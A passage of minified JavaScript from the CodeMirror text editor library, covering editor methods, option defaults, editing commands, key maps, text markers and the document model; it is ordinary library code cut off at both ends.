e.splice(r,1),!0},addOverlay:B(null,(function(e,r){var n=e.token?e:t.getMode(this.options,e);if(n.startState)throw Error("Overlays may not be stateful.");this.state.overlays.push({mode:n,modeSpec:e,opaque:r&&r.opaque}),this.state.modeGen++,K(this)})),removeOverlay:B(null,(function(t){for(var e=this.state.overlays,r=0;r<e.length;++r){var n=e[r].modeSpec;if(n==t||"string"==typeof t&&n.name==t){e.splice(r,1),this.state.modeGen++,K(this);break}}})),indentLine:B(null,(function(t,e,r){"string"!=typeof e&&"number"!=typeof e&&(e=null==e?this.options.smartIndent?"smart":"prev":e?"add":"subtract"),Tt(this.doc,t)&&It(this,t,e,r)})),indentSelection:B(null,(function(t){if(wt((r=this.doc.sel).from,r.to))return It(this,r.from.line,t);for(var e=r.to.line-(r.to.ch?0:1),r=r.from.line;r<=e;++r)It(this,r,t)})),getTokenAt:function(t,e){for(var r=L(this,(t=St(i=this.doc,t)).line,e),n=this.doc.mode,i=new jt((i=Se(i,t.line)).text,this.options.tabSize);i.pos<t.ch&&!i.eol();){i.start=i.pos;var o=n.token(i,r)}return{start:i.start,end:i.pos,string:i.current(),className:o||null,type:o||null,state:r}},getTokenTypeAt:function(t){t=St(this.doc,t);var e=fe(this,Se(this.doc,t.line)),r=0,n=(e.length-1)/2;if(0==(t=t.ch))return e[2];for(;;){var i=r+n>>1;if((i?e[2*i-1]:0)>=t)n=i;else{if(!(e[2*i+1]<t))return e[2*i+2];r=i+1}}},getModeAt:function(e){var r=this.doc.mode;return r.innerMode?t.innerMode(r,this.getTokenAt(e).state).mode:r},getHelper:function(t,e){if(bn.hasOwnProperty(e)){var r=bn[e],n=this.getModeAt(t);return n[e]&&r[n[e]]||n.helperType&&r[n.helperType]||r[n.name]}},getStateAfter:function(t,e){var r=this.doc;return L(this,(t=Math.max(r.first,Math.min(null==t?r.first+r.size-1:t,r.first+r.size-1)))+1,e)},cursorCoords:function(t,e){var r;return r=this.doc.sel,W(this,r=null==t?r.head:"object"==typeof t?St(this.doc,t):t?r.from:r.to,e||"page")},charCoords:function(t,e){return D(this,St(this.doc,t),e||"page")},coordsChar:function(t,e){return E(this,(t=H(this,t,e||"page")).left,t.top)},lineAtHeight:function(t,e){return t=H(this,{top:t,left:0},e||"page").top,He(this.doc,t+this.display.viewOffset)},heightAtLine:function(t,e){var r=!1,n=this.doc.first+this.doc.size-1;return t<this.doc.first?t=this.doc.first:t>n&&(t=n,r=!0),n=Se(this.doc,t),N(this,Se(this.doc,t),{top:0,left:0},e||"page").top+(r?n.height:0)},defaultTextHeight:function(){return I(this.display)},defaultCharWidth:function(){return F(this.display)},setGutterMarker:B(null,(function(t,e,r){return Ft(this,t,(function(t){var n=t.gutterMarkers||(t.gutterMarkers={});return n[e]=r,!r&&pr(n)&&(t.gutterMarkers=null),!0}))})),clearGutter:B(null,(function(t){var e=this,r=e.doc,n=r.first;r.iter((function(r){r.gutterMarkers&&r.gutterMarkers[t]&&(r.gutterMarkers[t]=null,K(e,n,n+1),pr(r.gutterMarkers)&&(r.gutterMarkers=null)),++n}))})),addLineClass:B(null,(function(t,e,r){return Ft(this,t,(function(t){var n="text"==e?"textClass":"background"==e?"bgClass":"wrapClass";if(t[n]){if(RegExp("(?:^|\\s)"+r+"(?:$|\\s)").test(t[n]))return!1;t[n]=t[n]+" "+r}else t[n]=r;return!0}))})),removeLineClass:B(null,(function(t,e,r){return Ft(this,t,(function(t){var n="text"==e?"textClass":"background"==e?"bgClass":"wrapClass",i=t[n];if(!i)return!1;if(null==r)t[n]=null;else{var o=i.match(RegExp("(?:^|\\s+)"+r+"(?:$|\\s+)"));if(!o)return!1;var l=o.index+o[0].length;t[n]=i.slice(0,o.index)+(o.index&&l!=i.length?" ":"")+i.slice(l)||null}return!0}))})),addLineWidget:B(null,(function(t,e,r){return function(t,e,r,n){var i=new wn(t,r,n);return i.noHScroll&&(t.display.alignWidgets=!0),Ft(t,e,(function(e){var r=e.widgets||(e.widgets=[]);return null==i.insertAt?r.push(i):r.splice(Math.min(r.length-1,Math.max(0,i.insertAt)),0,i),i.line=e,ie(t.doc,e)&&!i.showIfHidden||(r=De(t,e)<t.doc.scrollTop,Ae(e,e.height+ce(i)),r&&zt(t,0,i.height)),!0})),i}(this,t,e,r)})),removeLineWidget:function(t){t.clear()},lineInfo:function(t){if("number"==typeof t){if(!Tt(this.doc,t))return null;var e=t;if(!(t=Se(this.doc,t)))return null}else if(null==(e=Ne(t)))return null;return{line:e,handle:t,text:t.text,gutterMarkers:t.gutterMarkers,textClass:t.textClass,bgClass:t.bgClass,wrapClass:t.wrapClass,widgets:t.widgets}},getViewport:function(){return{from:this.display.showingFrom,to:this.display.showingTo}},addWidget:function(t,e,r,n,i){var o=this.display,l=(t=W(this,St(this.doc,t))).bottom,s=t.left;if(e.style.position="absolute",o.sizer.appendChild(e),"over"==n)l=t.top;else if("above"==n||"near"==n){var a=Math.max(o.wrapper.clientHeight,this.doc.height),c=Math.max(o.sizer.clientWidth,o.lineSpace.clientWidth);("above"==n||t.bottom+e.offsetHeight>a)&&t.top>e.offsetHeight?l=t.top-e.offsetHeight:t.bottom+e.offsetHeight<=a&&(l=t.bottom),s+e.offsetWidth>c&&(s=c-e.offsetWidth)}e.style.top=l+"px",e.style.left=e.style.right="","right"==i?(s=o.sizer.clientWidth-e.offsetWidth,e.style.right="0px"):("left"==i?s=0:"middle"==i&&(s=(o.sizer.clientWidth-e.offsetWidth)/2),e.style.left=s+"px"),r&&(null!=(t=Ot(this,s,l,s+e.offsetWidth,l+e.offsetHeight)).scrollTop&&et(this,t.scrollTop),null!=t.scrollLeft&&rt(this,t.scrollLeft))},triggerOnKeyDown:B(null,st),execCommand:function(t){return xn[t](this)},findPosH:function(t,e,r,n){var i=1;e<0&&(i=-1,e=-e);var o=0;for(t=St(this.doc,t);o<e&&!(t=Pt(this.doc,t,i,r,n)).hitSide;++o);return t},moveH:B(null,(function(t,e){var r=(r=this.doc.sel).shift||r.extend||wt(r.from,r.to)?Pt(this.doc,r.head,t,e,this.options.rtlMoveVisually):t<0?r.from:r.to;At(this.doc,r,r,t)})),deleteH:B(null,(function(t,e){var r=this.doc.sel;wt(r.from,r.to)?xt(this.doc,"",r.from,Pt(this.doc,r.head,t,e,!1),"+delete"):xt(this.doc,"",r.from,r.to,"+delete"),this.curOp.userSelChange=!0})),findPosV:function(t,e,r,n){var i=1;e<0&&(i=-1,e=-e);var o=0;for(t=St(this.doc,t);o<e&&(t=W(this,t,"div"),null==n?n=t.left:t.left=n,!(t=Rt(this,t,i,r)).hitSide);++o);return t},moveV:B(null,(function(t,e){var r=this.doc.sel,n=W(this,r.head,"div");null!=r.goalColumn&&(n.left=r.goalColumn);var i=Rt(this,n,t,e);"page"==e&&zt(this,0,D(this,i,"div").top-n.top),At(this.doc,i,i,t),r.goalColumn=n.left})),toggleOverwrite:function(t){null!=t&&t==this.state.overwrite||(this.display.cursor.className=(this.state.overwrite=!this.state.overwrite)?this.display.cursor.className+" CodeMirror-overwrite":this.display.cursor.className.replace(" CodeMirror-overwrite",""))},hasFocus:function(){return this.state.focused},scrollTo:B(null,(function(t,e){Et(this,t,e)})),getScrollInfo:function(){var t=this.display.scroller,e=Dn;return{left:t.scrollLeft,top:t.scrollTop,height:t.scrollHeight-e,width:t.scrollWidth-e,clientHeight:t.clientHeight-e,clientWidth:t.clientWidth-e}},scrollIntoView:B(null,(function(t,e){null==t?t={from:this.doc.sel.head,to:null}:"number"==typeof t?t={from:Ct(t,0),to:null}:null==t.from&&(t={from:t,to:null}),t.to||(t.to=t.from),e||(e=0);var r=t;null!=t.from.line&&(this.curOp.scrollToPos={from:t.from,to:t.to,margin:e},r={from:W(this,t.from),to:W(this,t.to)}),Et(this,(r=Ot(this,Math.min(r.from.left,r.to.left),Math.min(r.from.top,r.to.top)-e,Math.max(r.from.right,r.to.right),Math.max(r.from.bottom,r.to.bottom)+e)).scrollLeft,r.scrollTop)})),setSize:B(null,(function(t,e){function r(t){return"number"==typeof t||/^\d+$/.test(""+t)?t+"px":t}null!=t&&(this.display.wrapper.style.width=r(t)),null!=e&&(this.display.wrapper.style.height=r(e)),this.options.lineWrapping&&(this.display.measureLineCache.length=this.display.measureLineCachePos=0),this.curOp.forceUpdate=!0})),operation:function(t){return V(this,t)},refresh:B(null,(function(){var t=null==this.display.cachedTextHeight;A(this),Et(this,this.doc.scrollLeft,this.doc.scrollTop),K(this),t&&n(this)})),swapDoc:B(null,(function(t){var e=this.doc;return e.cm=null,ke(this,t),A(this),Y(this,!0),Et(this,t.scrollLeft,t.scrollTop),Qe(this,"swapDoc",this,e),e})),getInputField:function(){return this.display.input},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}},rr(t);var fn=t.optionHandlers={},dn=t.defaults={},pn=t.Init={toString:function(){return"CodeMirror.Init"}};Gt("value","",(function(t,e){t.setValue(e)}),!0),Gt("mode",null,(function(t,r){t.doc.modeOption=r,e(t)}),!0),Gt("indentUnit",2,e,!0),Gt("indentWithTabs",!1),Gt("smartIndent",!0),Gt("tabSize",4,(function(t){e(t),A(t),K(t)}),!0),Gt("specialChars",/[\t\u0000-\u0019\u00ad\u200b\u2028\u2029\ufeff]/g,(function(t,e){t.options.specialChars=RegExp(e.source+(e.test("\t")?"":"|\t"),"g"),t.refresh()}),!0),Gt("specialCharPlaceholder",(function(t){var e=mr("span","•","cm-invalidchar");return e.title="\\u"+t.charCodeAt(0).toString(16),e}),(function(t){t.refresh()}),!0),Gt("electricChars",!0),Gt("rtlMoveVisually",!jr),Gt("wholeLineUpdateBefore",!0),Gt("theme","default",(function(t){o(t),l(t)}),!0),Gt("keyMap","default",i),Gt("extraKeys",null),Gt("onKeyEvent",null),Gt("onDragEvent",null),Gt("lineWrapping",!1,(function(t){t.options.lineWrapping?(t.display.wrapper.className=t.display.wrapper.className+" CodeMirror-wrap",t.display.sizer.style.minWidth=""):(t.display.wrapper.className=t.display.wrapper.className.replace(" CodeMirror-wrap",""),c(t)),n(t),K(t),A(t),setTimeout((function(){h(t)}),100)}),!0),Gt("gutters",[],(function(t){u(t.options),l(t)}),!0),Gt("fixedGutter",!0,(function(t,e){t.display.gutters.style.left=e?p(t.display)+"px":"0",t.refresh()}),!0),Gt("coverGutterNextToScrollbar",!1,h,!0),Gt("lineNumbers",!1,(function(t){u(t.options),l(t)}),!0),Gt("firstLineNumber",1,l,!0),Gt("lineNumberFormatter",(function(t){return t}),l,!0),Gt("showCursorWhenSelecting",!1,b,!0),Gt("resetSelectionOnContextMenu",!0),Gt("readOnly",!1,(function(t,e){"nocursor"==e?(ut(t),t.display.input.blur(),t.display.disabled=!0):(t.display.disabled=!1,e||Y(t,!0))})),Gt("dragDrop",!0),Gt("cursorBlinkRate",530),Gt("cursorScrollMargin",0),Gt("cursorHeight",1),Gt("workTime",100),Gt("workDelay",100),Gt("flattenSpans",!0),Gt("pollInterval",100),Gt("undoDepth",40,(function(t,e){t.doc.history.undoDepth=e})),Gt("historyEventDelay",500),Gt("viewportMargin",10,(function(t){t.refresh()}),!0),Gt("maxHighlightLength",1e4,(function(t){e(t),t.refresh()}),!0),Gt("crudeMeasuringFrom",1e4),Gt("moveInputWithCursor",!0,(function(t,e){e||(t.display.inputDiv.style.top=t.display.inputDiv.style.left=0)})),Gt("tabindex",null,(function(t,e){t.display.input.tabIndex=e||""})),Gt("autofocus",null);var mn=t.modes={},gn=t.mimeModes={};t.defineMode=function(e,r){if(t.defaults.mode||"null"==e||(t.defaults.mode=e),arguments.length>2){r.dependencies=[];for(var n=2;n<arguments.length;++n)r.dependencies.push(arguments[n])}mn[e]=r},t.defineMIME=function(t,e){gn[t]=e},t.resolveMode=function(e){if("string"==typeof e&&gn.hasOwnProperty(e))e=gn[e];else if(e&&"string"==typeof e.name&&gn.hasOwnProperty(e.name)){var r=gn[e.name];(e=cr(r,e)).name=r.name}else if("string"==typeof e&&/^[\w\-]+\/[\w\-]+\+xml$/.test(e))return t.resolveMode("application/xml");return"string"==typeof e?{name:e}:e||{name:"null"}},t.getMode=function(e,r){r=t.resolveMode(r);var n=mn[r.name];if(!n)return t.getMode(e,"text/plain");if(n=n(e,r),vn.hasOwnProperty(r.name)){var i,o=vn[r.name];for(i in o)o.hasOwnProperty(i)&&(n.hasOwnProperty(i)&&(n["_"+i]=n[i]),n[i]=o[i])}return n.name=r.name,n},t.defineMode("null",(function(){return{token:function(t){t.skipToEnd()}}})),t.defineMIME("text/plain","null");var vn=t.modeExtensions={};t.extendMode=function(t,e){ur(e,vn.hasOwnProperty(t)?vn[t]:vn[t]={})},t.defineExtension=function(e,r){t.prototype[e]=r},t.defineDocExtension=function(t,e){Mn.prototype[t]=e},t.defineOption=Gt;var yn=[];t.defineInitHook=function(t){yn.push(t)};var bn=t.helpers={};t.registerHelper=function(e,r,n){bn.hasOwnProperty(e)||(bn[e]=t[e]={}),bn[e][r]=n},t.isWordChar=dr,t.copyState=Vt,t.startState=Kt,t.innerMode=function(t,e){for(;t.innerMode;){var r=t.innerMode(e);if(!r||r.mode==t)break;e=r.state,t=r.mode}return r||{mode:t,state:e}};var xn=t.commands={selectAll:function(t){t.setSelection(Ct(t.firstLine(),0),Ct(t.lastLine()))},killLine:function(t){var e=t.getCursor(!0),r=t.getCursor(!1),n=!wt(e,r);n||t.getLine(e.line).length!=e.ch?t.replaceRange("",e,n?r:Ct(e.line),"+delete"):t.replaceRange("",e,Ct(e.line+1,0),"+delete")},deleteLine:function(t){var e=t.getCursor().line;t.replaceRange("",Ct(e,0),Ct(e),"+delete")},delLineLeft:function(t){var e=t.getCursor();t.replaceRange("",Ct(e.line,0),e,"+delete")},undo:function(t){t.undo()},redo:function(t){t.redo()},goDocStart:function(t){t.extendSelection(Ct(t.firstLine(),0))},goDocEnd:function(t){t.extendSelection(Ct(t.lastLine()))},goLineStart:function(t){t.extendSelection(Mr(t,t.getCursor().line))},goLineStartSmart:function(t){var e=t.getCursor(),r=Mr(t,e.line),n=t.getLineHandle(r.line),i=We(n);i&&0!=i[0].level?t.extendSelection(r):(n=Math.max(0,n.text.search(/\S/)),t.extendSelection(Ct(r.line,e.line==r.line&&e.ch<=n&&e.ch?0:n)))},goLineEnd:function(t){t.extendSelection(function(t,e){for(var r,n;r=re(n=Se(t.doc,e));)e=r.find().to.line;return Ct(e,n=(r=We(n))?r[0].level%2?kr(n):Sr(n):n.text.length)}(t,t.getCursor().line))},goLineRight:function(t){var e=t.charCoords(t.getCursor(),"div").top+5;t.extendSelection(t.coordsChar({left:t.display.lineDiv.offsetWidth+100,top:e},"div"))},goLineLeft:function(t){var e=t.charCoords(t.getCursor(),"div").top+5;t.extendSelection(t.coordsChar({left:0,top:e},"div"))},goLineUp:function(t){t.moveV(-1,"line")},goLineDown:function(t){t.moveV(1,"line")},goPageUp:function(t){t.moveV(-1,"page")},goPageDown:function(t){t.moveV(1,"page")},goCharLeft:function(t){t.moveH(-1,"char")},goCharRight:function(t){t.moveH(1,"char")},goColumnLeft:function(t){t.moveH(-1,"column")},goColumnRight:function(t){t.moveH(1,"column")},goWordLeft:function(t){t.moveH(-1,"word")},goGroupRight:function(t){t.moveH(1,"group")},goGroupLeft:function(t){t.moveH(-1,"group")},goWordRight:function(t){t.moveH(1,"word")},delCharBefore:function(t){t.deleteH(-1,"char")},delCharAfter:function(t){t.deleteH(1,"char")},delWordBefore:function(t){t.deleteH(-1,"word")},delWordAfter:function(t){t.deleteH(1,"word")},delGroupBefore:function(t){t.deleteH(-1,"group")},delGroupAfter:function(t){t.deleteH(1,"group")},indentAuto:function(t){t.indentSelection("smart")},indentMore:function(t){t.indentSelection("add")},indentLess:function(t){t.indentSelection("subtract")},insertTab:function(t){t.replaceSelection("\t","end","+input")},defaultTab:function(t){t.somethingSelected()?t.indentSelection("add"):t.replaceSelection("\t","end","+input")},transposeChars:function(t){var e=t.getCursor(),r=t.getLine(e.line);e.ch>0&&e.ch<r.length-1&&t.replaceRange(r.charAt(e.ch)+r.charAt(e.ch-1),Ct(e.line,e.ch-1),Ct(e.line,e.ch+1))},newlineAndIndent:function(t){B(t,(function(){t.replaceSelection("\n","end","+input"),t.indentLine(t.getCursor().line,null,!0)}))()},toggleOverwrite:function(t){t.toggleOverwrite()}},Cn=t.keyMap={};Cn.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite"},Cn.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Alt-Up":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Down":"goDocEnd","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore",fallthrough:"basic"},Cn.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineStart","Cmd-Right":"goLineEnd","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delLineLeft",fallthrough:["basic","emacsy"]},Cn.default=Yr?Cn.macDefault:Cn.pcDefault,Cn.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars"},t.lookupKey=Xt,t.isModifierKey=_t,t.keyName=Yt,t.fromTextArea=function(e,r){function n(){e.value=a.getValue()}if(r||(r={}),r.value=e.value,!r.tabindex&&e.tabindex&&(r.tabindex=e.tabindex),!r.placeholder&&e.placeholder&&(r.placeholder=e.placeholder),null==r.autofocus){var i=document.body;try{i=document.activeElement}catch(t){}r.autofocus=i==e||null!=e.getAttribute("autofocus")&&i==document.body}if(e.form&&($e(e.form,"submit",n),!r.leaveSubmitMethodAlone)){var o=e.form,l=o.submit;try{var s=o.submit=function(){n(),o.submit=l,o.submit(),o.submit=s}}catch(t){}}e.style.display="none";var a=t((function(t){e.parentNode.insertBefore(t,e.nextSibling)}),r);return a.save=n,a.getTextArea=function(){return e},a.toTextArea=function(){n(),e.parentNode.removeChild(a.getWrapperElement()),e.style.display="",e.form&&(Ze(e.form,"submit",n),"function"==typeof e.form.submit&&(e.form.submit=l))},a},jt.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return 0==this.pos},peek:function(){return this.string.charAt(this.pos)||void 0},next:function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},eat:function(t){var e=this.string.charAt(this.pos);if("string"==typeof t?e==t:e&&(t.test?t.test(e):t(e)))return++this.pos,e},eatWhile:function(t){for(var e=this.pos;this.eat(t););return this.pos>e},eatSpace:function(){for(var t=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>t},skipToEnd:function(){this.pos=this.string.length},skipTo:function(t){if((t=this.string.indexOf(t,this.pos))>-1)return this.pos=t,!0},backUp:function(t){this.pos=this.pos-t},column:function(){return this.lastColumnPos<this.start&&(this.lastColumnValue=ir(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue},indentation:function(){return ir(this.string,null,this.tabSize)},match:function(t,e,r){if("string"!=typeof t)return(t=this.string.slice(this.pos).match(t))&&t.index>0?null:(t&&!1!==e&&(this.pos=this.pos+t[0].length),t);var n=this.string.substr(this.pos,t.length);return(r?n.toLowerCase():n)==(r?t.toLowerCase():t)?(!1!==e&&(this.pos=this.pos+t.length),!0):void 0},current:function(){return this.string.slice(this.start,this.pos)}},t.StringStream=jt,t.TextMarker=$t,rr($t),$t.prototype.clear=function(){if(!this.explicitlyCleared){var t=this.doc.cm,e=t&&!t.curOp;if(e&&P(t),er(this,"clear")){var r=this.find();r&&Qe(this,"clear",r.from,r.to)}for(var n=r=null,i=0;i<this.lines.length;++i){var o=this.lines[i],l=Qt(o.markedSpans,this);null!=l.to&&(n=Ne(o));for(var s=o,c=o.markedSpans,u=l,h=void 0,f=0;f<c.length;++f)c[f]!=u&&(h||(h=[])).push(c[f]);s.markedSpans=h,null!=l.from?r=Ne(o):this.collapsed&&!ie(this.doc,o)&&t&&Ae(o,I(t.display))}if(t&&this.collapsed&&!t.options.lineWrapping)for(i=0;i<this.lines.length;++i)o=ne(t.doc,this.lines[i]),(l=a(t.doc,o))>t.display.maxLineLength&&(t.display.maxLine=o,t.display.maxLineLength=l,t.display.maxLineChanged=!0);null!=r&&t&&K(t,r,n+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,t&&Ht(t)),e&&R(t)}},$t.prototype.find=function(){for(var t,e,r=0;r<this.lines.length;++r){var n=this.lines[r],i=Qt(n.markedSpans,this);null==i.from&&null==i.to||(n=Ne(n),null!=i.from&&(t=Ct(n,i.from)),null!=i.to&&(e=Ct(n,i.to)))}return"bookmark"==this.type?t:t&&{from:t,to:e}},$t.prototype.changed=function(){var t=this.find(),e=this.doc.cm;if(t&&e){"bookmark"!=this.type&&(t=t.from);var r=Se(this.doc,t.line);if(function(t,e){var r=S(t,e);r&&(r.text=r.measure=r.markedSpans=null)}(e,r),t.line>=e.display.showingFrom&&t.line<e.display.showingTo){for(t=e.display.lineDiv.firstChild;t;t=t.nextSibling)if(t.lineObj==r){t.offsetHeight!=r.height&&Ae(r,t.offsetHeight);break}V(e,(function(){e.curOp.selectionChanged=e.curOp.forceUpdate=e.curOp.updateMaxLine=!0}))}}},$t.prototype.attachLine=function(t){if(!this.lines.length&&this.doc.cm){var e=this.doc.cm.curOp;e.maybeHiddenMarkers&&-1!=ar(e.maybeHiddenMarkers,this)||(e.maybeUnhiddenMarkers||(e.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(t)},$t.prototype.detachLine=function(t){this.lines.splice(ar(this.lines,t),1),!this.lines.length&&this.doc.cm&&((t=this.doc.cm.curOp).maybeHiddenMarkers||(t.maybeHiddenMarkers=[])).push(this)},t.SharedTextMarker=qt,rr(qt),qt.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var t=0;t<this.markers.length;++t)this.markers[t].clear();Qe(this,"clear")}},qt.prototype.find=function(){return this.primary.find()};var wn=t.LineWidget=function(t,e,r){if(r)for(var n in r)r.hasOwnProperty(n)&&(this[n]=r[n]);this.cm=t,this.node=e};rr(wn),wn.prototype.clear=ae((function(){var t=this.line.widgets,e=Ne(this.line);if(null!=e&&t){for(var r=0;r<t.length;++r)t[r]==this&&t.splice(r--,1);t.length||(this.line.widgets=null),t=De(this.cm,this.line)<this.cm.doc.scrollTop,Ae(this.line,Math.max(0,this.line.height-ce(this))),t&&zt(this.cm,0,-this.height),K(this.cm,e,e+1)}})),wn.prototype.changed=ae((function(){var t=this.height;this.height=null,(t=ce(this)-t)&&(Ae(this.line,this.line.height+t),t=Ne(this.line),K(this.cm,t,t+1))}));var Ln=t.Line=function(t,e,r){this.text=t,se(this,e),this.height=r?r(this):1};rr(Ln),Ln.prototype.lineNo=function(){return Ne(this)};var kn={};Ce.prototype={chunkSize:function(){return this.lines.length},removeInner:function(t,e){for(var r=t,n=t+e;r<n;++r){var i=this.lines[r];this.height=this.height-i.height;var o=i;o.parent=null,le(o),Qe(i,"delete")}this.lines.splice(t,e)},collapse:function(t){t.splice.apply(t,[t.length,0].concat(this.lines))},insertInner:function(t,e,r){for(this.height=this.height+r,this.lines=this.lines.slice(0,t).concat(e).concat(this.lines.slice(t)),t=0,r=e.length;t<r;++t)e[t].parent=this},iterN:function(t,e,r){for(e=t+e;t<e;++t)if(r(this.lines[t]))return!0}},we.prototype={chunkSize:function(){return this.size},removeInner:function(t,e){this.size=this.size-e;for(var r=0;r<this.children.length;++r){var n=this.children[r],i=n.chunkSize();if(t<i){var o=Math.min(e,i-t),l=n.height;if(n.removeInner(t,o),this.height=this.height-(l-n.height),i==o&&(this.children.splice(r--,1),n.parent=null),0==(e-=o))break;t=0}else t-=i}this.size-e<25&&(r=[],this.collapse(r),this.children=[new Ce(r)],this.children[0].parent=this)},collapse:function(t){for(var e=0,r=this.children.length;e<r;++e)this.children[e].collapse(t)},insertInner:function(t,e,r){this.size=this.size+e.length,this.height=this.height+r;for(var n=0,i=this.children.length;n<i;++n){var o=this.children[n],l=o.chunkSize();if(t<=l){if(o.insertInner(t,e,r),o.lines&&o.lines.length>50){for(;o.lines.length>50;)t=new Ce(t=o.lines.splice(o.lines.length-25,25)),o.height=o.height-t.height,this.children.splice(n+1,0,t),t.parent=this;this.maybeSpill()}break}t-=l}},maybeSpill:function(){if(!(this.children.length<=10)){var t=this;do{var e=new we(e=t.children.splice(t.children.length-5,5));if(t.parent){t.size=t.size-e.size,t.height=t.height-e.height;var r=ar(t.parent.children,t);t.parent.children.splice(r+1,0,e)}else(r=new we(t.children)).parent=t,t.children=[r,e],t=r;e.parent=t.parent}while(t.children.length>10);t.parent.maybeSpill()}},iterN:function(t,e,r){for(var n=0,i=this.children.length;n<i;++n){var o=this.children[n],l=o.chunkSize();if(t<l){if(l=Math.min(e,l-t),o.iterN(t,l,r))return!0;if(0==(e-=l))break;t=0}else t-=l}}};var Sn=0,Mn=t.Doc=function(t,e,r){if(!(this instanceof Mn))return new Mn(t,e,r);null==r&&(r=0),we.call(this,[new Ce([new Ln("",null)])]),this.first=r,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.history=Oe(),this.cleanGeneration=1,this.frontier=r,r=Ct(r,0),this.sel={from:r,to:r,head:r,anchor:r,shift:!1,extend:!1,goalColumn:null},this.id=++Sn,this.modeOption=e,"string"==typeof t&&(t=Rn(t)),xe(this,{from:r,to:r,text:t},null,{head:r,anchor:r})};Mn.prototype=cr(we.prototype,{constructor:Mn,iter:function(t,e,r){r?this.iterN(t-this.first,e-t,r):this.iterN(this.first,this.first+this.size,t)},insert:function(t,e){for(var r=0,n=0,i=e.length;n<i;++n)r+=e[n].height;this.insertInner(t-this.first,e,r)},remove:function(t,e){this.removeInner(t-this.first,e)},getValue:function(t){var e=Te(this,this.first,this.first+this.size);return!1===t?e:e.join(t||"\n")},setValue:function(t){var e=Ct(this.first,0),r=this.first+this.size-1;mt(this,{from:e,to:Ct(r,Se(this,r).text.length),text:Rn(t),origin:"setValue"},{head:e,anchor:e},!0)},replaceRange:function(t,e,r,n){xt(this,t,e=St(this,e),r=r?St(this,r):e,n)},getRange:function(t,e,r){return t=Me(this,St(this,t),St(this,e)),!1===r?t:t.join(r||"\n")},getLine:function(t){return(t=this.getLineHandle(t))&&t.text},setLine:function(t,e){Tt(this,t)&&xt(this,e,Ct(t,0),St(this,Ct(t)))},removeLine:function(t){t?xt(this,"",St(this,Ct(t-1)),St(this,Ct(t))):xt(this,"",Ct(0,0),St(this,Ct(1,0)))},getLineHandle:function(t){if(Tt(this,t))return Se(this,t)},getLineNumber:function(t){return Ne(t)},getLineHandleVisualStart:function(t){return"number"==typeof t&&(t=Se(this,t)),ne(this,t)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(t){return St(this,t)},getCursor:function(t){var e=this.sel;return kt(null==t||"head"==t?e.head:"anchor"==t?e.anchor:"end"==t||!1===t?e.to:e.from)},somethingSelected:function(){return!wt(this.sel.head,this.sel.anchor)},setCursor:G((function(t,e,r){t=St(this,"number"==typeof t?Ct(t,e||0):t),r?At(this,t):Nt(this,t,t)})),setSelection:G((function(t,e,r){Nt(this,St(this,t),St(this,e||t),r)})),extendSelection:G((function(t,e,r){At(this,St(this,t),e&&St(this,e),r)})),getSelection:function(t){return this.getRange(this.sel.from,this.sel.to,t)},replaceSelection:function(t,e,r){mt(this,{from:this.sel.from,to:this.sel.to,text:Rn(t),origin:r},e||"around")},undo:G((function(){vt(this,"undo")})),redo:G((function(){vt(this,"redo")})),setExtending:function(t){this.sel.extend=t},historySize:function(){var t=this.history;return{undo:t.done.length,redo:t.undone.length}},clearHistory:function(){this.history=Oe(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration()},changeGeneration:function(){return this.history.lastOp=this.history.lastOrigin=null,this.history.generation},isClean:function(t){return this.history.generation==(t||this.cleanGeneration)},getHistory:function(){return{done:Pe(this.history.done),undone:Pe(this.history.undone)}},setHistory:function(t){var 